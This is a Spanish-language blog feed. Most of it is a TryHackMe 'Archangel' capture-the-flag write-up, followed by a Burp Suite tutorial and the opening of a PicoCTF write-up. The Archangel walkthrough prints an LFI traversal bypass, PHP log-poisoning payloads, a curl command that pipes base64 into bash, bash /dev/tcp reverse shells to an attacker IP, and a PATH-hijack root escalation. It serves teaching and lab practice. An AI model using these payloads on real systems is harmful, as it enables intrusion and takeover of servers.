</span><span class="n">http://www.mafialive.thm/test.php</span><span class="nf">?</span><span class="nx">view</span><span class="o">=</span><span class="nx">php://filter/convert.base64-encode/resource</span><span class="o">=</span><span class="n">/var/www/html/development_testing/test.php</span><span class="w">
</span></code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/36_arch.png" alt="" /></p>

<p>Repetimos el paso anterior descodificando el código y lo pasamos a otro archivo para verlo más cómodamente. -&gt; <span style="color:grey">funcion_php</span></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">''</span> | <span class="nb">base64</span> <span class="nt">-d</span> <span class="o">&gt;</span> funcion_php
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/37_arch.png" alt="" /></p>

<p>Con <strong>batcat</strong> usaremos el lenguaje php sobre el archivo para verlo mejor.
Aquí cogemos una bandera.</p>

<h3 id="desglosamiento-código">DESGLOSAMIENTO CÓDIGO</h3>
<p>Si detecta en la cadena otra cadena, da el valor ‘True’. Si no la encuentra devuelve ‘False’</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">function</span> <span class="n">containsStr</span><span class="p">(</span><span class="nv">$str</span><span class="p">,</span> <span class="nv">$substr</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nb">strpos</span><span class="p">(</span><span class="nv">$str</span><span class="p">,</span> <span class="nv">$substr</span><span class="p">)</span> <span class="o">!==</span> <span class="kc">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Condición 1</strong>: NO debe contener la string “../..” . Pero no nos restringe usar otros métodos para <strong>bypassear un LFI</strong> .</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">!</span><span class="nf">containsStr</span><span class="p">(</span><span class="nv">$GET</span><span class="s1">'view'</span><span class="p">,</span> <span class="s1">'../..'</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Condición 2:</strong> SÍ debe contener la ruta /var/www/html/development_testing</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">containsStr</span><span class="p">(</span><span class="nv">$GET</span><span class="s1">'view'</span><span class="p">,</span> <span class="s1">'/var/www/html/development_testing'</span><span class="p">)</span>
</code></pre></div></div>

<p>Si ambas condiciones se cumplen, se ejecuta <code class="language-plaintext highlighter-rouge">include $_GET['view'];</code> .
En caso contrarío muestra el mensaje: <em>“Sorry, Thats not allowed”.</em></p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'view'</span><span class="p">])){</span>
    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">containsStr</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'view'</span><span class="p">],</span> <span class="s1">'../..'</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nf">containsStr</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'view'</span><span class="p">],</span> <span class="s1">'/var/www/html/development_testing'</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">include</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'view'</span><span class="p">];</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="k">echo</span> <span class="s1">'Sorry, Thats not allowed'</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/38_arch.png" alt="" /></p>

<h3 id="lfi-local-file-inclusion">LFI: LOCAL FILE INCLUSION</h3>

<p>La vulnerabilidad <strong>LFI</strong> consiste en poder leer archivos internos arbitrarios a nivel sistema mediante una mala sanitización, específicamente, mediante un archivo que se encarga de procesar por un parámetro.</p>

<p>Como no podemos usar <code class="language-plaintext highlighter-rouge">../..</code> probaremos con <code class="language-plaintext highlighter-rouge">./.././.././../.</code> que es una forma de bypassear esta restricción. Partiremos después de la ruta (obligatoria) ya que es otra restricción que tenemos que cumplir.</p>

<p>Se acontece dicha vulnerabilidad permitiéndonos leer archivos arbitrarios nivel sistema.
En este caso <span style="color:lightblue">/etc/</span><strong>passwd</strong>:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PAYLOAD</span><span class="w"> </span><span class="nx">BYPASS</span><span class="w"> </span><span class="nx">LFI</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">usar:</span><span class="w"> 

</span><span class="n">http://www.mafialive.thm/test.php</span><span class="nf">?</span><span class="nx">view</span><span class="o">=</span><span class="nx">/var/www/html/development_testing/.././.././.././.././../etc/passwd</span><span class="w">
</span></code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/39_arch.png" alt="" /></p>

<p>Apretaremos “<strong>CTRL + U</strong>” para visualizar mejor las salidas.</p>

<p>Vemos un usuario válido a nivel sistema llamado <span style="color:blue">archangel</span>.</p>

<p><img src="/assets/images/thm-writeup-archangel/40_arch.png" alt="" /></p>

<h3 id="log-poisoning">LOG POISONING</h3>
<p>Esta máquina esta enfocada en la intrusión mediante la vulnerabilidad conocida como <em>Log Poisoning</em>.</p>

<p>Una búsqueda rápida en Google, para saber en que consiste:</p>

<blockquote>
  <p>Abusaremos de una cabecera http para ejecutar código a nivel sistema y tener un <em>RCE</em>.</p>
</blockquote>

<p><img src="/assets/images/thm-writeup-archangel/41_arch.png" alt="" /></p>

<p>Tenemos varias posibles rutas de logs potenciales para llevar a cabo este ataque.</p>

<p>Como en la fase de reconocimiento, el escaneo de <strong>nmap</strong> nos decía que la página web esta alojada en un <span style="color:lime">servidor Apache2</span> basado en Ubuntu, probaremos a leer el archivo de logs en la ruta siguiente: <span style="color:lightblue">/var/log/apache2/</span><strong>acces.log</strong>.</p>

<p><img src="/assets/images/thm-writeup-archangel/42_arch.png" alt="" />)</p>

<p>Al probar a leer el archivo <strong>acces.log</strong>, nos deja visualizarlo reflejándose los logs de acceso de cada vez que ingresamos o refrescamos la página web.</p>

<blockquote>
  <p>No petar mucho ya que es corrompible muy fácilmente este fichero.</p>
</blockquote>

<p><img src="/assets/images/thm-writeup-archangel/43_arch.png" alt="" /></p>

<p><img src="/assets/images/thm-writeup-archangel/44_arch.png" alt="" /></p>

<h3 id="rce-in-header-user-agent">RCE IN HEADER: USER-AGENT</h3>
<p>Para tener una posible vía de ejecución remota de código a nivel sistema, interceptaremos con Burp Suite la petición donde la URL estará apuntando al fichero mencionado de logs.</p>

<p><img src="/assets/images/thm-writeup-archangel/45_arch.png" alt="" /></p>

<p>La técnica que se suele explotar al tratar con la vulnerabilidad <em>Log Poisoning</em>, es inyectar código de php en una de las cabeceras de la petición.</p>

<p>Como podemos ver en <strong>acces.log</strong> nos sale la cabecera ‘<em>User-Agent</em>’ de los que ingresan al servidor web, por lo que se reflejaría el contenido definido, al manipular dicha cabecera con Burp Suite.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nb">system</span><span class="p">(</span><span class="s1">'whoami'</span><span class="p">);</span> <span class="cp">?&gt;</span> 
</code></pre></div></div>

<p>Le damos a “<strong>send</strong>”.</p>

<p><img src="/assets/images/thm-writeup-archangel/46_arch.png" alt="" /></p>

<p>Refrescamos la página, reflejándose y interpretándose al final de la última línea, el comando que definimos anteriormente con la línea en php de la cabecera ‘<em>User-Agent</em>’.</p>

<p><img src="/assets/images/thm-writeup-archangel/47_arch.png" alt="" /></p>

<p><img src="/assets/images/thm-writeup-archangel/48_arch.png" alt="" /></p>

<p>Nos devolverá <span style="color:blue">www-data</span>, quien está y trabaja a nivel servidor interno a nivel sistema.</p>

<h3 id="curl-rce-to-reverse-shell">CURL: RCE TO REVERSE SHELL</h3>

<p>Una de las formas de ganar acceso a la máquina a nivel sistema es darnos una <em>reverse shell</em>, y como podemos ejecutar comandos, lo tenemos fácil ya que es como una especie de <em>webshell</em> pero por cabeceras http.</p>

<p>Codearemos primero una <span style="color:lightgreen">reverse shell</span> a base64.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'bash -i &gt;&amp; /dev/tcp/192.168.143.187/443 0&gt;&amp;1'</span> | <span class="nb">base64</span>
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/49_arch.png" alt="" /></p>

<p>De forma paralela con <em>netcat</em> nos pondremos en escucha por el puerto <span style="color:purple">443</span> para que cuando ejecutemos la reverse shell, recibir el host de la víctima.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-nvlp</span> 443
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/50_arch.png" alt="" /></p>

<p>Usaremos <em>curl</em> para variar un poco la forma de ejecutar código.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">-X</span> GET http://mafialive.thm/test.php?view<span class="o">=</span>/var/www/html/development_testing/.././.././.././../var/log/apache2/access.log <span class="nt">-H</span> <span class="s2">"User-Agent: &lt;?php system('echo codeBase64 |base64 -d |bash'); ?&gt;"</span>
</code></pre></div></div>

<blockquote>
  <p>En el método GET se puede poner solo el dominio.</p>
</blockquote>

<p><img src="/assets/images/thm-writeup-archangel/51_arch.png" alt="" /></p>

<p>Al ejecutar este comando enviaremos al servidor la petición con el código malicioso y se interpretará recibiendo en nuestro <strong>netcat</strong> la shell víctima.</p>

<p>Estaremos como <span style="color:blue">www-data</span>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">whoami</span>
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/52_arch.png" alt="" /></p>

<p>Se nos quedará la página cargando.</p>

<p><img src="/assets/images/thm-writeup-archangel/53_arch.png" alt="" /></p>

<h3 id="tratamiento-tty">TRATAMIENTO TTY</h3>
<p>Tras ganar acceso, haremos un <strong>Tratamiento de la TTY</strong> para tener una shell más interactiva.</p>

<p>1) <code class="language-plaintext highlighter-rouge">script /dev/null -c bash</code></p>

<p><img src="/assets/images/thm-writeup-archangel/20_arch.png" alt="" /></p>

<p>2) `CTRL + Z</p>

<p><img src="/assets/images/thm-writeup-archangel/21_arch.png" alt="" /></p>

<p>3) <code class="language-plaintext highlighter-rouge">stty raw -echo; fg</code></p>

<p><img src="/assets/images/thm-writeup-archangel/22_arch.png" alt="" /></p>

<p>4) <code class="language-plaintext highlighter-rouge">reset xterm</code></p>

<p><img src="/assets/images/thm-writeup-archangel/23_arch.png" alt="" /></p>

<p>5) Esperamos, y <code class="language-plaintext highlighter-rouge">export TERM=xterm</code>.</p>

<p><img src="/assets/images/thm-writeup-archangel/24_arch.png" alt="" /></p>

<p>6) <code class="language-plaintext highlighter-rouge">export SHELL=bash</code></p>

<p><img src="/assets/images/thm-writeup-archangel/25_arch.png" alt="" /></p>

<h3 id="bandera-usuario-1-lfi">BANDERA USUARIO: 1 LFI</h3>
<p>Nos iremos al home personal del usuario <span style="color:blue">archangel</span> y cogeremos la bandera.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Ir al directorio personal de Archangel</span>
<span class="nb">cd</span> /home/archangel

<span class="c"># Leer la bandera de usuario</span>
<span class="nb">cat </span>user.txt
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/26_arch.png" alt="" /></p>

<h3 id="pivoting-de-www-data-a-archangel">PIVOTING DE WWW-DATA A ARCHANGEL</h3>
<p>Para escalar privilegios hacia un usuario del sistema con algo más de permisos, investigando observaremos que en el directorio <span style="color:lightblue">opt/</span>, se alojan; 1 directorio y 1 archivo:</p>

<p>1-<mark style="background: #ABF7F7A6;">backupfiles</mark></p>

<p>2-<mark style="background: #ADCCFFA6;">helloworld.sh</mark></p>

<p><img src="/assets/images/thm-writeup-archangel/54_arch.png" alt="" /></p>

<p>Con el directorio no tendremos permisos para interactuar con el, y con el archivo al leer su contenido con “<strong>cat</strong>” observamos que nos dice que guarda la frase “hello world” en un fichero .txt dentro del directorio restringido.</p>

<p><img src="/assets/images/thm-writeup-archangel/55_arch.png" alt="" /></p>

<p>Si hacemos un <strong>ls -l</strong> para ver los permisos  de ambos, destacara lo siguiente:</p>

<p>Puedo editar el archivo <mark style="background: #ADCCFFA6;">helloworld.sh</mark> como <span style="color:blue">www-data</span> ya que tiene permisos de ejecución para todos los usuarios, aunque diga que el dueño es <span style="color:blue">archangel</span> (Esto será importante saberlo).</p>

<p><img src="/assets/images/thm-writeup-archangel/56_arch.png" alt="" /></p>

<p>Al intentar ejecutarlo no podremos debido a los insuficientes permisos sobre el directorio.</p>

<p>Pero si podemos editar el contenido del archivo <mark style="background: #ADCCFFA6;">helloworld.sh</mark> , presionamos ‘Enter’.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Intenar ejecutar el script .sh</span>
./helloworld.sh

<span class="c"># Leer el contenido de helloworld.sh</span>
nano helloworld.sh
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/57_arch.png" alt="" /></p>

<p>Este era el contenido que vimos anteriormente.</p>

<p><img src="/assets/images/thm-writeup-archangel/58_arch.png" alt="" /></p>

<p>Borraremos lo que haya y escribiremos una <span style="color:lime">reverse shell</span> por el puerto <span style="color:purple">444</span> para que cuando se ejecute dicha reverse shell recibir la shell de <span style="color:blue">archangel</span> ya que es el dueño del archivo.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bash <span class="nt">-i</span> <span class="o">&gt;</span>&amp; /dev/tcp/192.168.143.187/444 0&gt;&amp;1
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/59_arch.png" alt="" /></p>

<p>De forma paralela con <em>netcat</em> nos pondremos en escucha por el puerto <span style="color:purple">444</span> para que cuando ejecutemos la reverse shell, recibir el host de la víctima.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-nvlp</span> 444
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/60_arch.png" alt="" /></p>

<blockquote>
  <p>Se supone que se debería haber ejecutado solo el archivo  <mark style="background: #ADCCFFA6;">helloworld.sh</mark> porque estaba configurado automáticamente por cron pero yo lo ejecute directamente.</p>
</blockquote>

<p><img src="/assets/images/thm-writeup-archangel/61_arch.png" alt="" /></p>

<p>Recibiremos la conexión a nuestro <strong>netcat</strong> como <span style="color:blue">archangel</span>.</p>

<p><img src="/assets/images/thm-writeup-archangel/62_arch.png" alt="" /></p>

<h3 id="tratamiento-tty-1">TRATAMIENTO TTY</h3>

<p>1) <code class="language-plaintext highlighter-rouge">script /dev/null -c bash</code></p>

<p><img src="/assets/images/thm-writeup-archangel/63_arch.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">2) CTRL + Z</code></p>

<p><code class="language-plaintext highlighter-rouge">2) stty raw -echo; fg</code></p>

<p><code class="language-plaintext highlighter-rouge">3) reset xterm</code></p>

<p><img src="/assets/images/thm-writeup-archangel/64_arch.png" alt="" /></p>

<p>5) Esperamos, y <code class="language-plaintext highlighter-rouge">export TERM=xterm</code></p>

<p>6) <code class="language-plaintext highlighter-rouge">export SHELL=bash</code></p>

<p><img src="/assets/images/thm-writeup-archangel/65_arch.png" alt="" /></p>

<h3 id="bandera-usuario-2-cron">BANDERA USUARIO: 2 CRON</h3>
<p>En el directorio personal de <span style="color:blue">archangel</span> nos encontraremos con dos directorios, dentro de <span style="color:lightblue">myfiles</span> estará la segunda bandera de usuario junto a un archivo llamado “<mark style="background: #FF5582A6;">backup</mark>”.</p>

<p><img src="/assets/images/thm-writeup-archangel/66_arch.png" alt="" /></p>

<p>Se me olvido agregar estas capturas pero <mark style="background: #FF5582A6;">backup</mark> tiene el bit SUID activado y el dueño es root.</p>

<h3 id="escalada-de-privilegios-path-hijacking">ESCALADA DE PRIVILEGIOS: PATH HIJACKING</h3>
<p>Para la escalada de privilegios abusaremos de un <strong>Path Hijacking</strong> bastante interesante.</p>

<p>Leeremos el contenido de <mark style="background: #FF5582A6;">backup</mark> y destacará la línea:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp</span> /home/user/archangel/myfiles/<span class="k">*</span> /opt/backupfiles
</code></pre></div></div>

<p>El error de sintaxis es que no específica la ruta del binario <strong>cp</strong> -&gt; <span style="color:lightblue">/bin/</span><strong>cp</strong></p>

<p>Para aprovecharnos de esto es editar nuestro propio binario con el nombre del comando que va a contener código malicioso que nos dará <span style="color:blue">root</span> y estableceremos la variable de entorno <strong>$PATH</strong> en esta ruta para que al ejecutarse el archivo como root, vea en mis variables de entorno para buscar donde esta <strong>cp</strong> y como es la actual donde esta el binario falso, lo use.</p>

<p><img src="/assets/images/thm-writeup-archangel/67_arch.png" alt="" /></p>

<p>Ponemos <span style="color:lightblue">/bin/</span><strong>bash -p</strong> (no perder privilegios de root). Esto nos dará la shell de root.</p>

<p><img src="/assets/images/thm-writeup-archangel/68_arch.png" alt="" /></p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VERSION</span><span class="w"> </span><span class="nx">IA</span><span class="w"> </span><span class="p">(</span><span class="n">NO</span><span class="w"> </span><span class="nx">PROBADA</span><span class="p">)</span><span class="w"> </span><span class="n">que</span><span class="w"> </span><span class="nx">me</span><span class="w"> </span><span class="nx">ha</span><span class="w"> </span><span class="nx">convencido:</span><span class="w">

</span><span class="c"># 1. Ve a /tmp y crea una carpeta limpia</span><span class="w">
</span><span class="n">cd</span><span class="w"> </span><span class="nx">/tmp</span><span class="w">
</span><span class="n">mkdir</span><span class="w"> </span><span class="nx">hijack</span><span class="w">
</span><span class="n">cd</span><span class="w"> </span><span class="nx">hijack</span><span class="w">

</span><span class="c"># 2. Crea el cp falso (la versión más efectiva en esta máquina)</span><span class="w">
</span><span class="n">nano</span><span class="w"> </span><span class="nx">cp</span><span class="w"> 
</span><span class="c">#!/bin/bash</span><span class="w">
</span><span class="n">/bin/bash</span><span class="w"> </span><span class="nt">-p</span><span class="w">

</span><span class="c"># 3. Dale permisos</span><span class="w">
</span><span class="n">chmod</span><span class="w"> </span><span class="o">+</span><span class="nx">x</span><span class="w"> </span><span class="nx">cp</span><span class="w">

</span><span class="c"># 4. Modifica el PATH correctamente (poniendo tu carpeta al principio)</span><span class="w">
</span><span class="n">export</span><span class="w"> </span><span class="nx">PATH</span><span class="o">=</span><span class="n">/tmp/hijack:</span><span class="nv">$PATH</span><span class="w">

</span><span class="c"># 5. Ejecuta el binario SUID</span><span class="w">
</span><span class="n">/home/archangel/secret/backup</span><span class="w">
</span></code></pre></div></div>

<p>Haremos los últimos pasos:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. <span class="nb">chmod </span>777 <span class="nb">cp
</span>2. <span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span>.:<span class="nv">$PATH</span>
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/69_arch.png" alt="" /></p>

<p>Al hacer <strong>env</strong>, dirá que el el PATH es ‘.’ (ruta actual, por lo que acudirá a esta)</p>

<p><img src="/assets/images/thm-writeup-archangel/70_arch.png" alt="" /></p>

<p>Por último ejecutamos el archivo, y nos dará dicha shell privilegiada.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./backup
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/71_arch.png" alt="" /></p>

<p>Para confirmar ejecutamos el comando “<strong>id</strong>” o “<strong>whoami</strong>” y efectivamente, habremos elevado a usuario privilegio a nivel sistema.</p>

<p><img src="/assets/images/thm-writeup-archangel/72_arch.png" alt="" /></p>

<h3 id="bandera-root">BANDERA ROOT</h3>
<p>Nos vamos al directorio <span style="color:lightblue">/root/</span> y cogeremos la bandera de <span style="color:blue">root</span>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Ir al directorio de root</span>
<span class="nb">cd</span> /root/

<span class="c"># Leer la bandera de root</span>
<span class="nb">cat </span>root.txt
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/28_arch.png" alt="" /></p>

<h3 id="easter-eegg">EASTER EEGG</h3>
<p>En el drectorio personal de <span style="color:blue">archangel</span> recordamos había un directorio llamado <span style="color:lightblue">myfiles</span>. Dentro hay un fichero llamado “<span style="color:grey">passwordbackup</span>”, que al leerlo nos da un enlace a un vídeo de Youtube…</p>

<p><img src="/assets/images/thm-writeup-archangel/27_arch.png" alt="" /></p>

<blockquote>
  <p><a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ">Video de Youtube</a></p>
</blockquote>]]></content><author><name>pabloVentx</name></author><category term="TryHackMe" /><category term="Pentesting" /><category term="writeup" /><category term="eWPT" /><category term="HackingWeb" /><category term="WrapperPHP-SourceCodeDisclosure" /><category term="LFI" /><category term="LogPoisoning" /><category term="RemoteAccessRCE" /><category term="ReverseShell" /><category term="EscaladaPrivilegios" /><category term="PathHijacking" /><summary type="html"><![CDATA[En esta máquina haremos intrusión a la máquina explotando una vulnerabilidad web conocida como Local File Inclusion (LFI) que es descubierto mediante un wrapper de PHP para realizar la técnica Source Code Disclosure. Nos daremos una Reverse shell mediante un LogPoisoning, dentro pivotaremos a un usuario no privilegiado, y la escalada a root se logra abusando de un Path Hijacking. .]]></summary></entry><entry><title type="html">Como usar Burp Suite</title><link href="https://pabloventx.github.io/ayuda-Burp-Suite/" rel="alternate" type="text/html" title="Como usar Burp Suite" /><published>2026-01-27T00:00:00+00:00</published><updated>2026-01-27T00:00:00+00:00</updated><id>https://pabloventx.github.io/ayuda-Burp%20Suite</id><content type="html" xml:base="https://pabloventx.github.io/ayuda-Burp-Suite/"><![CDATA[<h5 id="que-és">¿QUE ÉS?</h5>

<p><strong>Burp Suite</strong> es una herramienta que ya viene preinstalada en varias distribuciones de Linux. Es bastante útil e imprescindible, que nos permite recibir y manipular peticiones web.</p>

<p>Esto nos ayuda bastante para el ámbito de Hacking web, ya que según el uso que le demos, podemos hacer unas cosas u otras.</p>

<h5 id="complementos">¿COMPLEMENTOS?</h5>

<p>En Burp Suite vendrá por defecto esta configuración de Proxy: <span style="color:darkred">127.0.0.1</span>:<span style="color:purple">8080</span></p>

<p><img src="/assets/images/ayuda-burpsuite/16_burp.png" alt="" /></p>

<p>Esto es importante saberlo porque va de la mano con la Extensión “<span style="color:rgb(238, 208, 157)">FoxyProxy</span>”:</p>

<p>Para configurarla, necesitamos rellenar los siguientes parámetros para la conexión del proxy de nuestro navegador y Burp Suite:</p>

<p>-Burp Suite
-<span style="color:red">IP</span> <span style="color:tomato">localhost</span>: 127.0.0.1 
-<span style="color:purple">Puerto</span>: 8080
-HTTP</p>

<p><img src="/assets/images/ayuda-burpsuite/15_burp.png" alt="" /></p>

<blockquote>
  <p>En caso de querer configurarlo desde el navegador -&gt; Network Settings -&gt; Manual Proxy -&gt; Http Proxy:127.0.0.1 Port:8080</p>
</blockquote>

<h5 id="como-se-configura">¿COMO SE CONFIGURA?</h5>

<p>Antes de usar Burp Suite, lo principal será activar el Proxy de la extensión que hemos configurado.</p>

<p><img src="/assets/images/ayuda-burpsuite/14_burp.png" alt="" /></p>

<p>Ahora en Burp Suite, lo configuraremos para capturar paquetes:
Nos iremos a  “Proxy” &gt; “Intercept” &gt; <strong>Intercept on</strong>.</p>

<p><img src="/assets/images/ayuda-burpsuite/13_burp.png" alt="" /></p>

<p>También se recomienda agregar la IP de la página o dominio que tengamos al scope:
Nos iremos a “Target” &gt; “Scope” &gt; <strong>Target Scope</strong>.</p>

<p>El Scope define exactamente qué hosts, dominios o URLs forman parte del objetivo autorizado para probar, filtrando todo el tráfico irrelevante <em>(Google, CDNs, redes sociales…)</em> y mostrando solo lo del target en el Site map, Proxy history e interceptando únicamente peticiones in-scope.</p>

<p>Se usa para reducir ruido, evitar falsos positivos, limitar automáticamente herramientas como Intruder al ámbito permitido y proteger tanto al pentester como al cliente al delimitar claramente qué sí y qué no se debe tocar.</p>

<p><img src="/assets/images/ayuda-burpsuite/12_burp.png" alt="" /></p>

<h5 id="utilidades">¿UTILIDADES?</h5>
<p>A continuación voy a listar algunas cosas comunes que se suelen hacer con esta herramienta, sin entrar en términos muy difíciles:</p>

<h6 id="site-map">SITE MAP</h6>

<p>Al coger un paquete va ir cogiendo; <strong>scripts, tecnologías…</strong> de lo que va cargando por detrás a nivel servidor.
Nos iremos al apartado de “Proxy” &gt; <strong>HTTP history</strong></p>

<p><img src="/assets/images/ayuda-burpsuite/11_burp.png" alt="" /></p>

<p>Una vez esto sabido esto, nos hará un esquema con la estructura del sitio (de lo que tiene resgistrado):
Nos iremos a “Target” &gt; <strong>Site map</strong></p>

<p><img src="/assets/images/ayuda-burpsuite/10_burp.png" alt="" /></p>

<h6 id="repeater">REPEATER</h6>

<p>Cuando capturamos un paquete le podemos hacer, Clic derecho &gt; <strong>Send to Repeater</strong> o apretar   “<strong>CTRL + R</strong>”, para mandarlo aquí.</p>

<p>En este apartado podremos modificar cualquier campo; <strong>borrar, escribir…</strong>
Usado para probar vulnerabilidades fáciles o complejas de controlar. Cuando le damos a “Send”
nos dice todo acerca de la salida de la solicitud -&gt; <span style="color:lime">GET</span> | como si lo hiciéramos por la web pero por esta herramienta.</p>

<p><img src="/assets/images/ayuda-burpsuite/20_burp.png" alt="" /></p>

<h6 id="decoder">DECODER</h6>

<p>En el apartado <strong>Decoder</strong></p>

<p>Aquí podemos jugar con URLs; <strong>Encodear, Decodear, hashear…</strong>
Usado para inyectar código en las mismas.</p>

<p><img src="/assets/images/ayuda-burpsuite/9_burp.png" alt="" /></p>

<p>Opciones a elegir, en este caso para encodear:</p>

<p><img src="/assets/images/ayuda-burpsuite/8_burp.png" alt="" /></p>

<h6 id="intruder">INTRUDER</h6>

<p>Cuando capturamos un paquete le podemos hacer, Clic derecho &gt; <strong>Send to Intruder</strong> o apretar   “<strong>CTRL + I</strong>”, para mandarlo aquí.</p>

<p>Este apartado sirve para hacer ataques fuerza bruta, previamente habido configurado unos payloads que tendrán definidos unos diccionarios o valores, en los campos a atacar.</p>

<p>1) Hay 4 ataques distintos a probar:</p>

<p><img src="/assets/images/ayuda-burpsuite/7_burp.png" alt="" /></p>

<p>2) Configuración de los payloads a atacar:</p>

<p><img src="/assets/images/ayuda-burpsuite/6_burp.png" alt="" /></p>

<p>3) Definición del orden de los payloads y configuración individual, pinchas uno y luego el otro (diferentes ventanas):</p>

<p><img src="/assets/images/ayuda-burpsuite/5_burp.png" alt="" /></p>

<p>Puedes cargar tus propios diccionarios de fuerza bruta o de lo que sea, según el uso:</p>

<p><img src="/assets/images/ayuda-burpsuite/4_burp.png" alt="" /></p>

<p><img src="/assets/images/ayuda-burpsuite/3_burp.png" alt="" /></p>

<p>Las palabras a probar del diccionario seleccionado:</p>

<p><img src="/assets/images/ayuda-burpsuite/2_burp.png" alt="" /></p>

<p>4) En este apartado podemos pasar la respuesta del error o intento fallido del servidor para qué nos diga con que resultado sale otra cosa distinta:</p>

<p>Le damos a “Add”.</p>

<p><img src="/assets/images/ayuda-burpsuite/21_burp.png" alt="" /></p>

<p>Le damos a “Refetch response” y seleccionamos el mensaje, cual extrae automáticamente Burp Suite, en el campo “Extract from regex group”.  Así nos dice si nos da un mensaje distinto a dicho mensaje definido a la hora de ejecutar el ataque.</p>

<p><img src="/assets/images/ayuda-burpsuite/22_burp.png" alt="" /></p>

<p>5) Le damos a “Start attack”, y empezara el ataque:</p>

<p><img src="/assets/images/ayuda-burpsuite/1_burp.png" alt="" /></p>]]></content><author><name>pabloVentx</name></author><category term="Web-documentation" /><category term="Pentesting" /><category term="HackingWeb" /><category term="traffic-interception" /><summary type="html"><![CDATA[En este Post, enseñare a como usar Burp Suite, destacando las funciones mas importantes en cara al Hacking web para la hora de jugar con paquetes web, etc.]]></summary></entry><entry><title type="html">byp4ss3d - PicoCTF</title><link href="https://pabloventx.github.io/pctf-writeup-byp4ss3d/" rel="alternate" type="text/html" title="byp4ss3d - PicoCTF" /><published>2026-01-25T00:00:00+00:00</published><updated>2026-01-25T00:00:00+00:00</updated><id>https://pabloventx.github.io/pctf-writeup-byp4ss3d</id><content type="html" xml:base="https://pabloventx.github.io/pctf-writeup-byp4ss3d/"><![CDATA[<p><img src="/assets/images/pctf-writeup-byp4ss3d/logo_bp.png" alt="" /></p>

<h2 id="write-up">WRITE UP</h2>
<p>Ejemplo: atlas:picoctf.net:63993 (víctima) TTL=  63 LINUX</p>

<h3 id="análisis-web-reconocnimiento">ANÁLISIS WEB: RECONOCNIMIENTO</h3>

<p>De primeras haremos un <em>whatweb</em> para ver las tecnologías, lenguajes… de la página web, igual que <span style="color:lightyellow">Wappalyzer</span> pero por consola.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whatweb http://atlas:picoctf.net:63993/
</code></pre></div></div>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/whatweb_bp.png" alt="" /></p>

<h4 id="como-funciona-la-web">COMO FUNCIONA LA WEB</h4>

<p>La web tratara acerca de una identificación de estudiantes mediante una foto de sus respectivo ID. Vamos haber como funciona y que responde.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/1_bp.png" alt="" /></p>

<p>Seleccionamos una foto <strong>(JPG, PNG or GIF)</strong>, y aceptamos.</p>

<p><img src="/assets/images/pctf-writeup-byp4ss3d/chem_bp.png" alt="" /></p>

<p>Le damos a “UPLOAD ID” para subirla.</p>

